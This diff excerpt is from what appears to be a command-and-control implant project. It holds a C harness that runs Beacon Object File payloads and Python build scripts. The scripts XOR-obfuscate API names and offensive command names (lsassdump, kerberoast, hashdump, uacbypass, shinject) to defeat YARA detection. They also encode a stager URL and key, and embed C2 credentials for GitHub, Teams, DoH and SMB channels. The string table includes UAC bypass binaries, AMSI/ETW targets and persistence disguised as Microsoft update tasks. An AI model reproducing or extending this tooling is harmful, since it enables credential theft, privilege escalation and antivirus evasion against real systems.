-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
|
||||
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,
|
||||
52,53,54,55,56,57,58,59,60,61,-1,-1,-1, 0,-1,-1,
|
||||
-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,10,11,12,13,14,
|
||||
15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,
|
||||
-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,
|
||||
41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1,
|
||||
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
|
||||
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
|
||||
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
|
||||
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
|
||||
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
|
||||
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
|
||||
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
|
||||
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
|
||||
};
|
||||
|
||||
uint8_t *base64_decode(const char *str, size_t *out_len)
|
||||
{
|
||||
if (!str) { if (out_len) *out_len = 0; return NULL; }
|
||||
size_t slen = strlen(str);
|
||||
if (slen == 0) { if (out_len) *out_len = 0; return (uint8_t *)calloc(1, 1); }
|
||||
|
||||
size_t pad = 0;
|
||||
if (slen >= 1 && str[slen-1] == '=') { pad++; slen--; }
|
||||
if (slen >= 1 && str[slen-1] == '=') { pad++; slen--; }
|
||||
|
||||
size_t dlen = (slen * 3) / 4;
|
||||
uint8_t *out = (uint8_t *)malloc(dlen + 1);
|
||||
if (!out) { if (out_len) *out_len = 0; return NULL; }
|
||||
|
||||
size_t i = 0, o = 0;
|
||||
while (i + 3 < slen + pad) {
|
||||
unsigned char c0 = (i < slen) ? (unsigned char)str[i] : 0;
|
||||
unsigned char c1 = (i+1 < slen) ? (unsigned char)str[i+1] : 0;
|
||||
unsigned char c2 = (i+2 < slen) ? (unsigned char)str[i+2] : 0;
|
||||
unsigned char c3 = (i+3 < slen) ? (unsigned char)str[i+3] : 0;
|
||||
|
||||
int v0 = DEC[c0], v1 = DEC[c1], v2 = DEC[c2], v3 = DEC[c3];
|
||||
if (v0 < 0 || v1 < 0) break;
|
||||
|
||||
uint32_t triple = ((uint32_t)v0 << 18) | ((uint32_t)v1 << 12)
|
||||
| ((uint32_t)(v2 >= 0 ? v2 : 0) << 6)
|
||||
| (uint32_t)(v3 >= 0 ? v3 : 0);
|
||||
|
||||
if (o < dlen) out[o++] = (uint8_t)((triple >> 16) & 0xff);
|
||||
if (o < dlen && (i+2 < slen)) out[o++] = (uint8_t)((triple >> 8) & 0xff);
|
||||
if (o < dlen && (i+3 < slen)) out[o++] = (uint8_t)(triple & 0xff);
|
||||
i += 4;
|
||||
}
|
||||
out[o] = '\0';
|
||||
if (out_len) *out_len = o;
|
||||
return out;
|
||||
}
|
||||
|
||||
static const char ENC[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||
|
||||
static char *b64_encode(const uint8_t *data, size_t len)
|
||||
{
|
||||
size_t out_len = 4 * ((len + 2) / 3) + 1;
|
||||
char *out = (char *)malloc(out_len);
|
||||
if (!out) return NULL;
|
||||
|
||||
size_t i, o = 0;
|
||||
for (i = 0; i + 2 < len; i += 3) {
|
||||
out[o++] = ENC[(data[i] >> 2) & 0x3f];
|
||||
out[o++] = ENC[((data[i] & 3) << 4) | (data[i+1] >> 4)];
|
||||
out[o++] = ENC[((data[i+1] & 0xf)<< 2) | (data[i+2] >> 6)];
|
||||
out[o++] = ENC[ data[i+2] & 0x3f];
|
||||
}
|
||||
if (i < len) {
|
||||
out[o++] = ENC[(data[i] >> 2) & 0x3f];
|
||||
if (i + 1 < len) {
|
||||
out[o++] = ENC[((data[i] & 3) << 4) | (data[i+1] >> 4)];
|
||||
out[o++] = ENC[(data[i+1] & 0xf) << 2];
|
||||
} else {
|
||||
out[o++] = ENC[(data[i] & 3) << 4];
|
||||
out[o++] = '=';
|
||||
}
|
||||
out[o++] = '=';
|
||||
}
|
||||
out[o] = '\0';
|
||||
return out;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
if (argc < 2) {
|
||||
fprintf(stderr, "usage: test_bof.exe <coff.o> [args_b64]\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
FILE *f = fopen(argv[1], "rb");
|
||||
if (!f) {
|
||||
fprintf(stderr, "[-] cannot open: %s\n", argv[1]);
|
||||
return 1;
|
||||
}
|
||||
fseek(f, 0, SEEK_END);
|
||||
long fsz = ftell(f);
|
||||
rewind(f);
|
||||
|
||||
uint8_t *coff_raw = (uint8_t *)malloc((size_t)fsz);
|
||||
if (!coff_raw) { fclose(f); return 1; }
|
||||
fread(coff_raw, 1, (size_t)fsz, f);
|
||||
fclose(f);
|
||||
|
||||
char *coff_b64 = b64_encode(coff_raw, (size_t)fsz);
|
||||
free(coff_raw);
|
||||
if (!coff_b64) { fprintf(stderr, "[-] b64_encode failed\n"); return 1; }
|
||||
|
||||
const char *args_b64 = (argc >= 3) ? argv[2] : NULL;
|
||||
|
||||
printf("[*] COFF: %s (%ld bytes, b64=%zu chars)\n", argv[1], fsz, strlen(coff_b64));
|
||||
printf("[*] Calling cmd_bof()...\n");
|
||||
fflush(stdout);
|
||||
|
||||
char output[65536] = {0};
|
||||
int ret = cmd_bof(coff_b64, args_b64, output, sizeof(output));
|
||||
free(coff_b64);
|
||||
|
||||
printf("[*] cmd_bof() = %d\n", ret);
|
||||
if (output[0])
|
||||
printf("[*] BOF output:\n%s", output);
|
||||
else
|
||||
printf("[*] BOF output: (empty)\n");
|
||||
|
||||
return (ret == 0) ? 0 : 1;
|
||||
}
|
||||
@@ -0,0 +1,319 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Generate agent/include/evs_strings.h — per-build random XOR key for all
|
||||
API / DLL name obfuscation arrays. Replaces the hardcoded 0xba constant
|
||||
that was a static YARA signature.
|
||||
|
||||
Run: python tools/gen_evs_strings.py
|
||||
Called automatically by: make config
|
||||
"""
|
||||
import os
|
||||
import secrets
|
||||
|
||||
# ── Master string table ────────────────────────────────────────────────────
|
||||
# name → C identifier suffix (EVS_<suffix>)
|
||||
STRINGS = {
|
||||
# DLL names
|
||||
"ntdll.dll": "dll_ntdll",
|
||||
"kernel32.dll": "dll_kernel32",
|
||||
"kernelbase.dll": "dll_kernelbase",
|
||||
"xpsservices.dll": "dll_xpsservices",
|
||||
"advapi32.dll": "dll_advapi32",
|
||||
"amsi.dll": "dll_amsi",
|
||||
"secur32.dll": "dll_secur32",
|
||||
"netapi32.dll": "dll_netapi32",
|
||||
"winhttp.dll": "dll_winhttp",
|
||||
"gdi32.dll": "dll_gdi32",
|
||||
"user32.dll": "dll_user32",
|
||||
|
||||
# Nt* syscall names (ntdll)
|
||||
"NtOpenProcess": "fn_NtOpenProcess",
|
||||
"NtAllocateVirtualMemory": "fn_NtAllocateVirtualMemory",
|
||||
"NtWriteVirtualMemory": "fn_NtWriteVirtualMemory",
|
||||
"NtProtectVirtualMemory": "fn_NtProtectVirtualMemory",
|
||||
"NtCreateThreadEx": "fn_NtCreateThreadEx",
|
||||
"NtClose": "fn_NtClose",
|
||||
"NtOpenThread": "fn_NtOpenThread",
|
||||
"NtSuspendThread": "fn_NtSuspendThread",
|
||||
"NtResumeThread": "fn_NtResumeThread",
|
||||
"NtGetContextThread": "fn_NtGetContextThread",
|
||||
"NtSetContextThread": "fn_NtSetContextThread",
|
||||
"NtQueueApcThread": "fn_NtQueueApcThread",
|
||||
"NtCreateSection": "fn_NtCreateSection",
|
||||
"NtMapViewOfSection": "fn_NtMapViewOfSection",
|
||||
"NtUnmapViewOfSection": "fn_NtUnmapViewOfSection",
|
||||
"NtReadVirtualMemory": "fn_NtReadVirtualMemory",
|
||||
"NtQueryInformationProcess": "fn_NtQueryInformationProcess",
|
||||
"NtContinue": "fn_NtContinue",
|
||||
"NtWaitForSingleObject": "fn_NtWaitForSingleObject",
|
||||
|
||||
# ntdll helpers / ETW
|
||||
"RtlCaptureContext": "fn_RtlCaptureContext",
|
||||
"RtlUserThreadStart": "fn_RtlUserThreadStart",
|
||||
"EtwEventWrite": "fn_EtwEventWrite",
|
||||
"EtwTiLogOpenProcess": "fn_EtwTiLogOpenProcess",
|
||||
"EtwTiLogReadWriteVm": "fn_EtwTiLogReadWriteVm",
|
||||
"EtwTiLogDuplicateHandle": "fn_EtwTiLogDuplicateHandle",
|
||||
|
||||
# AMSI (amsi.dll)
|
||||
"AmsiScanBuffer": "fn_AmsiScanBuffer",
|
||||
"AmsiScanString": "fn_AmsiScanString",
|
||||
|
||||
# advapi32.dll
|
||||
"AdjustTokenPrivileges": "fn_AdjustTokenPrivileges",
|
||||
"DuplicateTokenEx": "fn_DuplicateTokenEx",
|
||||
"ImpersonateLoggedOnUser": "fn_ImpersonateLoggedOnUser",
|
||||
"LogonUserA": "fn_LogonUserA",
|
||||
"LookupPrivilegeNameA": "fn_LookupPrivilegeNameA",
|
||||
"LookupPrivilegeValueA": "fn_LookupPrivilegeValueA",
|
||||
"OpenProcessToken": "fn_OpenProcessToken",
|
||||
"OpenThreadToken": "fn_OpenThreadToken",
|
||||
"RevertToSelf": "fn_RevertToSelf",
|
||||
"CloseServiceHandle": "fn_CloseServiceHandle",
|
||||
"EnumServicesStatusExA": "fn_EnumServicesStatusExA",
|
||||
"OpenSCManagerA": "fn_OpenSCManagerA",
|
||||
"OpenServiceA": "fn_OpenServiceA",
|
||||
"QueryServiceConfigA": "fn_QueryServiceConfigA",
|
||||
"RegisterServiceCtrlHandlerA":"fn_RegisterServiceCtrlHandlerA",
|
||||
"SetServiceStatus": "fn_SetServiceStatus",
|
||||
"StartServiceCtrlDispatcherA":"fn_StartServiceCtrlDispatcherA",
|
||||
"RegDeleteTreeA": "fn_RegDeleteTreeA",
|
||||
"GetTokenInformation": "fn_GetTokenInformation",
|
||||
"SetThreadToken": "fn_SetThreadToken",
|
||||
"PrivilegeCheck": "fn_PrivilegeCheck",
|
||||
"AllocateAndInitializeSid": "fn_AllocateAndInitializeSid",
|
||||
"EqualSid": "fn_EqualSid",
|
||||
"FreeSid": "fn_FreeSid",
|
||||
"ImpersonateNamedPipeClient": "fn_ImpersonateNamedPipeClient",
|
||||
"CreateProcessWithTokenW": "fn_CreateProcessWithTokenW",
|
||||
"CreateProcessAsUserW": "fn_CreateProcessAsUserW",
|
||||
"CredEnumerateA": "fn_CredEnumerateA",
|
||||
"CredFree": "fn_CredFree",
|
||||
|
||||
# kernel32.dll
|
||||
"InitializeProcThreadAttributeList": "fn_InitializeProcThreadAttributeList",
|
||||
"UpdateProcThreadAttribute": "fn_UpdateProcThreadAttribute",
|
||||
"DeleteProcThreadAttributeList": "fn_DeleteProcThreadAttributeList",
|
||||
"ResumeThread": "fn_ResumeThread",
|
||||
"GetComputerNameA": "fn_GetComputerNameA",
|
||||
"GetComputerNameW": "fn_GetComputerNameW",
|
||||
"GetComputerNameExW": "fn_GetComputerNameExW",
|
||||
"GetNativeSystemInfo": "fn_GetNativeSystemInfo",
|
||||
"GlobalMemoryStatusEx": "fn_GlobalMemoryStatusEx",
|
||||
"VirtualProtect": "fn_VirtualProtect",
|
||||
"Sleep": "fn_Sleep",
|
||||
"SetEvent": "fn_SetEvent",
|
||||
"GetThreadContext": "fn_GetThreadContext",
|
||||
"SetThreadContext": "fn_SetThreadContext",
|
||||
"MapViewOfFile": "fn_MapViewOfFile",
|
||||
"UnmapViewOfFile": "fn_UnmapViewOfFile",
|
||||
"AddVectoredExceptionHandler":"fn_AddVectoredExceptionHandler",
|
||||
"CreateNamedPipeA": "fn_CreateNamedPipeA",
|
||||
"ConnectNamedPipe": "fn_ConnectNamedPipe",
|
||||
"IsWow64Process": "fn_IsWow64Process",
|
||||
"RtlGetVersion": "fn_RtlGetVersion",
|
||||
|
||||
# winspool.drv
|
||||
"winspool.drv": "dll_winspool",
|
||||
"OpenPrinterW": "fn_OpenPrinterW",
|
||||
"ClosePrinter": "fn_ClosePrinter",
|
||||
|
||||
# shell32.dll
|
||||
"shell32.dll": "dll_shell32",
|
||||
"ShellExecuteExW": "fn_ShellExecuteExW",
|
||||
"ShellExecuteExA": "fn_ShellExecuteExA",
|
||||
"CheckTokenMembership": "fn_CheckTokenMembership",
|
||||
|
||||
# mscoree.dll
|
||||
"mscoree.dll": "dll_mscoree",
|
||||
"CorBindToRuntimeEx": "fn_CorBindToRuntimeEx",
|
||||
|
||||
# advapi32 extra
|
||||
"RegDeleteKeyA": "fn_RegDeleteKeyA",
|
||||
"RegCreateKeyExA": "fn_RegCreateKeyExA",
|
||||
"RegSetValueExA": "fn_RegSetValueExA",
|
||||
"RegCloseKey": "fn_RegCloseKey",
|
||||
|
||||
# secur32.dll
|
||||
"LsaConnectUntrusted": "fn_LsaConnectUntrusted",
|
||||
"LsaLookupAuthenticationPackage":"fn_LsaLookupAuthenticationPackage",
|
||||
"LsaCallAuthenticationPackage": "fn_LsaCallAuthenticationPackage",
|
||||
"LsaFreeReturnBuffer": "fn_LsaFreeReturnBuffer",
|
||||
|
||||
# netapi32.dll
|
||||
"DsGetDcNameW": "fn_DsGetDcNameW",
|
||||
|
||||
# winhttp.dll
|
||||
"WinHttpCrackUrl": "fn_WinHttpCrackUrl",
|
||||
"WinHttpOpen": "fn_WinHttpOpen",
|
||||
"WinHttpConnect": "fn_WinHttpConnect",
|
||||
"WinHttpOpenRequest": "fn_WinHttpOpenRequest",
|
||||
"WinHttpSetOption": "fn_WinHttpSetOption",
|
||||
"WinHttpAddRequestHeaders": "fn_WinHttpAddRequestHeaders",
|
||||
"WinHttpSetTimeouts": "fn_WinHttpSetTimeouts",
|
||||
"WinHttpSendRequest": "fn_WinHttpSendRequest",
|
||||
"WinHttpReceiveResponse": "fn_WinHttpReceiveResponse",
|
||||
"WinHttpQueryOption": "fn_WinHttpQueryOption",
|
||||
"WinHttpQueryDataAvailable": "fn_WinHttpQueryDataAvailable",
|
||||
"WinHttpReadData": "fn_WinHttpReadData",
|
||||
"WinHttpCloseHandle": "fn_WinHttpCloseHandle",
|
||||
|
||||
# gdi32.dll
|
||||
"GetDeviceCaps": "fn_GetDeviceCaps",
|
||||
"CreateCompatibleDC": "fn_CreateCompatibleDC",
|
||||
"CreateCompatibleBitmap": "fn_CreateCompatibleBitmap",
|
||||
"SelectObject": "fn_SelectObject",
|
||||
"BitBlt": "fn_BitBlt",
|
||||
"StretchBlt": "fn_StretchBlt",
|
||||
"DeleteDC": "fn_DeleteDC",
|
||||
"DeleteObject": "fn_DeleteObject",
|
||||
"GetStockObject": "fn_GetStockObject",
|
||||
"SetStretchBltMode": "fn_SetStretchBltMode",
|
||||
"SetBrushOrgEx": "fn_SetBrushOrgEx",
|
||||
"GetDIBits": "fn_GetDIBits",
|
||||
|
||||
# user32.dll
|
||||
"GetDC": "fn_GetDC",
|
||||
"ReleaseDC": "fn_ReleaseDC",
|
||||
|
||||
# BOF Beacon API names
|
||||
"Beacon": "str_Beacon",
|
||||
"BeaconPrintf": "str_BeaconPrintf",
|
||||
"BeaconOutput": "str_BeaconOutput",
|
||||
"BeaconIsAdmin": "str_BeaconIsAdmin",
|
||||
"BeaconDataParse": "str_BeaconDataParse",
|
||||
"BeaconDataExtract": "str_BeaconDataExtract",
|
||||
"BeaconDataInt": "str_BeaconDataInt",
|
||||
"BeaconDataShort": "str_BeaconDataShort",
|
||||
"BeaconDataLength": "str_BeaconDataLength",
|
||||
|
||||
# process names
|
||||
"winlogon.exe": "str_winlogon_exe",
|
||||
"services.exe": "str_services_exe",
|
||||
"spoolsv.exe": "str_spoolsv_exe",
|
||||
"svchost.exe": "str_svchost_exe",
|
||||
"lsass.exe": "str_lsass_exe",
|
||||
"RuntimeBroker.exe": "str_RuntimeBroker_exe",
|
||||
"dllhost.exe": "str_dllhost_exe",
|
||||
"explorer.exe": "str_explorer_exe",
|
||||
|
||||
# WMI class name
|
||||
"Win32_Process": "str_Win32_Process",
|
||||
|
||||
# UAC elevation moniker (stored as bytes; decoded as WCHAR in uac.c)
|
||||
"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}":
|
||||
"str_elevation_moniker",
|
||||
|
||||
# Privilege names — decoded at runtime only where needed
|
||||
"SeDebugPrivilege": "str_SeDebugPrivilege",
|
||||
"SeImpersonatePrivilege": "str_SeImpersonatePrivilege",
|
||||
"SeAssignPrimaryTokenPrivilege": "str_SeAssignPrimaryTokenPrivilege",
|
||||
"SeIncreaseQuotaPrivilege": "str_SeIncreaseQuotaPrivilege",
|
||||
|
||||
# Command dispatch names — kept encoded so plaintext never appears in .rdata
|
||||
"lsassdump": "str_cmd_lsassdump",
|
||||
"kerberoast": "str_cmd_kerberoast",
|
||||
"asreproast": "str_cmd_asreproast",
|
||||
"steal_token": "str_cmd_steal_token",
|
||||
"hashdump": "str_cmd_hashdump",
|
||||
"getsystem": "str_cmd_getsystem",
|
||||
"uacbypass": "str_cmd_uacbypass",
|
||||
"inject": "str_cmd_inject",
|
||||
"privesc": "str_cmd_privesc",
|
||||
"shinject": "str_cmd_shinject",
|
||||
"execute-assembly": "str_cmd_execasm",
|
||||
"bof": "str_cmd_bof",
|
||||
|
||||
# Registry paths used in getsystem / uac — offensive fingerprint
|
||||
"SOFTWARE\\Policies\\Microsoft\\Windows\\Installer": "str_reg_installer_policy",
|
||||
"AlwaysInstallElevated": "str_AlwaysInstallElevated",
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System": "str_reg_policies_system",
|
||||
"ConsentPromptBehaviorAdmin": "str_ConsentPromptBehaviorAdmin",
|
||||
|
||||
# UAC bypass operational strings — YARA triggers
|
||||
"ms-settings": "str_ms_settings",
|
||||
"DelegateExecute": "str_DelegateExecute",
|
||||
"exefile": "str_exefile",
|
||||
"mscfile": "str_mscfile",
|
||||
"AppX3xxs313wwkfjhythsb8q46xdssgfr0": "str_wsreset_clsid",
|
||||
"fodhelper.exe": "str_fodhelper_exe",
|
||||
"computerdefaults.exe": "str_computerdefaults_exe",
|
||||
"wsreset.exe": "str_wsreset_exe",
|
||||
"sdclt.exe": "str_sdclt_exe",
|
||||
"eventvwr.exe": "str_eventvwr_exe",
|
||||
"schtasks.exe": "str_schtasks_exe",
|
||||
"lifter.exe": "str_lifter_exe",
|
||||
"WinMgmt": "str_WinMgmt",
|
||||
"Environment": "str_Environment",
|
||||
"windir": "str_windir",
|
||||
"SilentCleanup": "str_SilentCleanup",
|
||||
|
||||
# Persistence masquerade strings
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run": "str_reg_run_key",
|
||||
"MicrosoftUpdateService": "str_persist_reg_val",
|
||||
"Microsoft Corporation": "str_persist_author",
|
||||
"LogonTrigger": "str_persist_trigger_id",
|
||||
"MicrosoftEdgeUpdateTaskMachineCore": "str_persist_task_name",
|
||||
}
|
||||
|
||||
|
||||
def main():
|
||||
key = secrets.randbelow(256)
|
||||
while key == 0: # avoid 0 — XOR identity gives plaintext
|
||||
key = secrets.randbelow(256)
|
||||
|
||||
lines = [
|
||||
"/* AUTO-GENERATED by tools/gen_evs_strings.py — do not edit.",
|
||||
" * EVS_KEY is randomised every build; all byte arrays change.",
|
||||
" * Defeats static YARA rules that match encoded API/DLL names.",
|
||||
" */",
|
||||
"#ifndef EVS_STRINGS_H",
|
||||
"#define EVS_STRINGS_H",
|
||||
"",
|
||||
f"#define EVS_KEY 0x{key:02x}u",
|
||||
"",
|
||||
]
|
||||
|
||||
prev_group = None
|
||||
for plaintext, suffix in STRINGS.items():
|
||||
group = suffix.split("_")[0] # "dll", "fn", or "str"
|
||||
if group != prev_group:
|
||||
labels = {"dll": "DLL names", "fn": "API / function names",
|
||||
"str": "Misc strings"}
|
||||
lines.append(f"/* --- {labels.get(group, group)} --- */")
|
||||
prev_group = group
|
||||
|
||||
enc = [b ^ key for b in plaintext.encode("latin-1")]
|
||||
arr = ", ".join(f"0x{b:02x}" for b in enc)
|
||||
lines.append(
|
||||
f"static const unsigned char EVS_{suffix}[{len(enc)}]"
|
||||
f" = {{ {arr} }}; /* {plaintext} */"
|
||||
)
|
||||
|
||||
lines += [
|
||||
"",
|
||||
"/* Single XOR-decode helper — one definition in src/evs.c, called everywhere.",
|
||||
" * Replaces 100+ identical inline loops that trigger ML-based heuristics. */",
|
||||
"#ifndef _EVS_DEC_DECL",
|
||||
"#define _EVS_DEC_DECL",
|
||||
"#include <stddef.h>",
|
||||
"extern void _evs_dec(char *out, const unsigned char *enc, size_t n);",
|
||||
"#define EVS_D(out, arr) _evs_dec((out), (arr), sizeof(arr))",
|
||||
"#endif",
|
||||
"",
|
||||
"#endif /* EVS_STRINGS_H */",
|
||||
"",
|
||||
]
|
||||
|
||||
out_path = os.path.join(
|
||||
os.path.dirname(__file__), "..", "include", "evs_strings.h"
|
||||
)
|
||||
with open(out_path, "w") as f:
|
||||
f.write("\n".join(lines))
|
||||
|
||||
print(f"[ok] wrote {out_path} (EVS_KEY=0x{key:02x})")
|
||||
print(f" {len(STRINGS)} strings encoded")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,67 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Generate agent/include/stager_config.h with XOR-obfuscated staging URL and
|
||||
ChaCha20 key. Called by the server's build endpoint (never by hand).
|
||||
|
||||
Usage:
|
||||
python tools/gen_stager_config.py --url <staging_url> --key <32-byte hex>
|
||||
"""
|
||||
import sys, os, argparse
|
||||
|
||||
XOR_KEY = b"\x7a\x3f\x91\xc4\x52\x88\xb1\xde\xad\xbe\xef\x13\x37\xca\xfe\x42"
|
||||
XOR_KEY_LEN = len(XOR_KEY)
|
||||
|
||||
|
||||
def xor_encode(data: bytes) -> list:
|
||||
return [b ^ XOR_KEY[i % XOR_KEY_LEN] for i, b in enumerate(data)]
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--url", required=True, help="Staging URL")
|
||||
ap.add_argument("--key", required=True, help="32-byte ChaCha20 key (hex)")
|
||||
args = ap.parse_args()
|
||||
|
||||
url_enc = xor_encode(args.url.encode())
|
||||
key_raw = bytes.fromhex(args.key)
|
||||
if len(key_raw) != 32:
|
||||
print("[error] --key must be 32 bytes (64 hex chars)", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
key_enc = xor_encode(key_raw)
|
||||
|
||||
key_hex = ", ".join(f"0x{b:02x}" for b in XOR_KEY)
|
||||
url_arr = ", ".join(f"0x{b:02x}" for b in url_enc)
|
||||
key_arr = ", ".join(f"0x{b:02x}" for b in key_enc)
|
||||
url_prev = args.url[:48] + ("…" if len(args.url) > 48 else "")
|
||||
|
||||
h = f"""\
|
||||
/* AUTO-GENERATED by tools/gen_stager_config.py — do not edit manually. */
|
||||
#ifndef STAGER_CONFIG_H
|
||||
#define STAGER_CONFIG_H
|
||||
|
||||
#ifndef CFG_XOR_KEY_LEN
|
||||
#define CFG_XOR_KEY_LEN {XOR_KEY_LEN}
|
||||
static const unsigned char CFG_XOR_KEY[{XOR_KEY_LEN}] = {{ {key_hex} }};
|
||||
#endif
|
||||
|
||||
/* STAGE_URL — XOR-encoded ({len(url_enc)} bytes) */
|
||||
/* plaintext preview: {url_prev!r} */
|
||||
static const unsigned char CFG_STAGE_URL[] = {{{url_arr}, 0x00}};
|
||||
#define CFG_STAGE_URL_LEN {len(url_enc)}
|
||||
|
||||
/* STAGE_KEY — ChaCha20 key, XOR-encoded (32 bytes) */
|
||||
static const unsigned char CFG_STAGE_KEY[32] = {{{key_arr}}};
|
||||
|
||||
#endif /* STAGER_CONFIG_H */
|
||||
"""
|
||||
|
||||
out = os.path.join(os.path.dirname(__file__), "..", "include", "stager_config.h")
|
||||
with open(out, "w") as f:
|
||||
f.write(h)
|
||||
print(f"[ok] {out}")
|
||||
print(f" URL {args.url}")
|
||||
print(f" KEY {args.key[:8]}...")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,33 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Get the SHA-256 pin of a TLS server's leaf certificate (DER bytes).
|
||||
Usage: python tools/get_cert_pin.py <host> [port]
|
||||
|
||||
Output: 64 hex chars — paste into server/config.yaml → http.cert_pin
|
||||
"""
|
||||
import ssl, socket, hashlib, sys
|
||||
|
||||
host = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
port = int(sys.argv[2]) if len(sys.argv) > 2 else 443
|
||||
|
||||
if not host:
|
||||
print("Usage: python tools/get_cert_pin.py <host> [port]")
|
||||
sys.exit(1)
|
||||
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
|
||||
try:
|
||||
with socket.create_connection((host, port), timeout=10) as sock:
|
||||
with ctx.wrap_socket(sock, server_hostname=host) as ssock:
|
||||
der = ssock.getpeercert(binary_form=True)
|
||||
pin = hashlib.sha256(der).hexdigest()
|
||||
print(f"[+] {host}:{port}")
|
||||
print(f"[+] SHA-256 pin: {pin}")
|
||||
print()
|
||||
print(f"# Paste into server/config.yaml:")
|
||||
print(f' cert_pin: "{pin}"')
|
||||
except Exception as e:
|
||||
print(f"[-] Error: {e}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
@@ -0,0 +1,138 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Generate agent/include/agent_config.h with XOR-obfuscated compile-time credentials.
|
||||
Usage: python tools/obfuscate.py [config.yaml]
|
||||
python tools/obfuscate.py (reads ../server/config.yaml by default)
|
||||
|
||||
The generated header is included by channels/github.c.
|
||||
Strings are XOR'd with a rolling multi-byte key so `strings agent.exe`
|
||||
cannot extract them in plaintext.
|
||||
"""
|
||||
import sys, os, struct
|
||||
from datetime import datetime, timezone
|
||||
|
||||
# Rolling XOR key — all non-printable bytes, no ASCII substring detectable by strings(1)
|
||||
XOR_KEY = b"\x7a\x3f\x91\xc4\x52\x88\xb1\xde\xad\xbe\xef\x13\x37\xca\xfe\x42"
|
||||
XOR_KEY_LEN = len(XOR_KEY)
|
||||
|
||||
# ── Config values to embed ────────────────────────────────────────────────────
|
||||
# Edit these before calling the script, or pass a config.yaml (parsed below).
|
||||
VALUES = {
|
||||
"GITHUB_TOKEN": "",
|
||||
"GIST_CMD_ID": "",
|
||||
"GIST_OUT_ID": "",
|
||||
"TEAMS_TENANT": "",
|
||||
"TEAMS_CLIENT": "",
|
||||
"TEAMS_SECRET": "",
|
||||
"TEAMS_WEBHOOK": "",
|
||||
"TEAMS_TEAM_ID": "",
|
||||
"TEAMS_CHANNEL": "",
|
||||
"BEACON_URL": "",
|
||||
"DOH_DOMAIN": "",
|
||||
"KILL_DATE": "", # Unix timestamp string, "0" = disabled
|
||||
"CERT_PIN": "", # 64 hex chars (SHA-256 of leaf cert DER), "" = disabled
|
||||
"SMB_HOST": "", # SMB pivot: hostname or IP, "" = disabled
|
||||
"SMB_PIPE": "", # SMB pivot: pipe name (no leading backslash)
|
||||
}
|
||||
|
||||
|
||||
def load_yaml(path: str) -> None:
|
||||
"""Minimal YAML loader — no external dependency needed."""
|
||||
import re
|
||||
with open(path) as f:
|
||||
text = f.read()
|
||||
|
||||
def get(section, key):
|
||||
pat = rf"{section}:\s*\n(?:[ \t]+\S[^\n]*\n)*?[ \t]+{key}:\s*[\"']?([^\"'\n]+)[\"']?"
|
||||
m = re.search(pat, text)
|
||||
return m.group(1).strip() if m else ""
|
||||
|
||||
VALUES["GITHUB_TOKEN"] = get("github", "token")
|
||||
VALUES["GIST_CMD_ID"] = get("github", "gist_cmd")
|
||||
VALUES["GIST_OUT_ID"] = get("github", "gist_out")
|
||||
VALUES["TEAMS_TENANT"] = get("teams", "tenant_id")
|
||||
VALUES["TEAMS_CLIENT"] = get("teams", "client_id")
|
||||
VALUES["TEAMS_SECRET"] = get("teams", "client_secret")
|
||||
VALUES["TEAMS_WEBHOOK"] = get("teams", "webhook_url")
|
||||
VALUES["TEAMS_TEAM_ID"] = get("teams", "team_id")
|
||||
VALUES["TEAMS_CHANNEL"] = get("teams", "channel_id")
|
||||
VALUES["BEACON_URL"] = get("http", "beacon_url")
|
||||
VALUES["CERT_PIN"] = get("http", "cert_pin")
|
||||
VALUES["DOH_DOMAIN"] = get("doh", "domain")
|
||||
VALUES["SMB_HOST"] = get("smb", "host")
|
||||
VALUES["SMB_PIPE"] = get("smb", "pipe")
|
||||
|
||||
kd_raw = get("agent", "killdate") # "YYYY-MM-DD" or empty
|
||||
if kd_raw:
|
||||
try:
|
||||
dt = datetime.strptime(kd_raw, "%Y-%m-%d").replace(tzinfo=timezone.utc)
|
||||
VALUES["KILL_DATE"] = str(int(dt.timestamp()))
|
||||
except ValueError:
|
||||
print(f"[warn] killdate '{kd_raw}' not in YYYY-MM-DD format — ignored",
|
||||
file=sys.stderr)
|
||||
VALUES["KILL_DATE"] = "0"
|
||||
else:
|
||||
VALUES["KILL_DATE"] = "0"
|
||||
|
||||
|
||||
def xor_encode(s: str) -> list[int]:
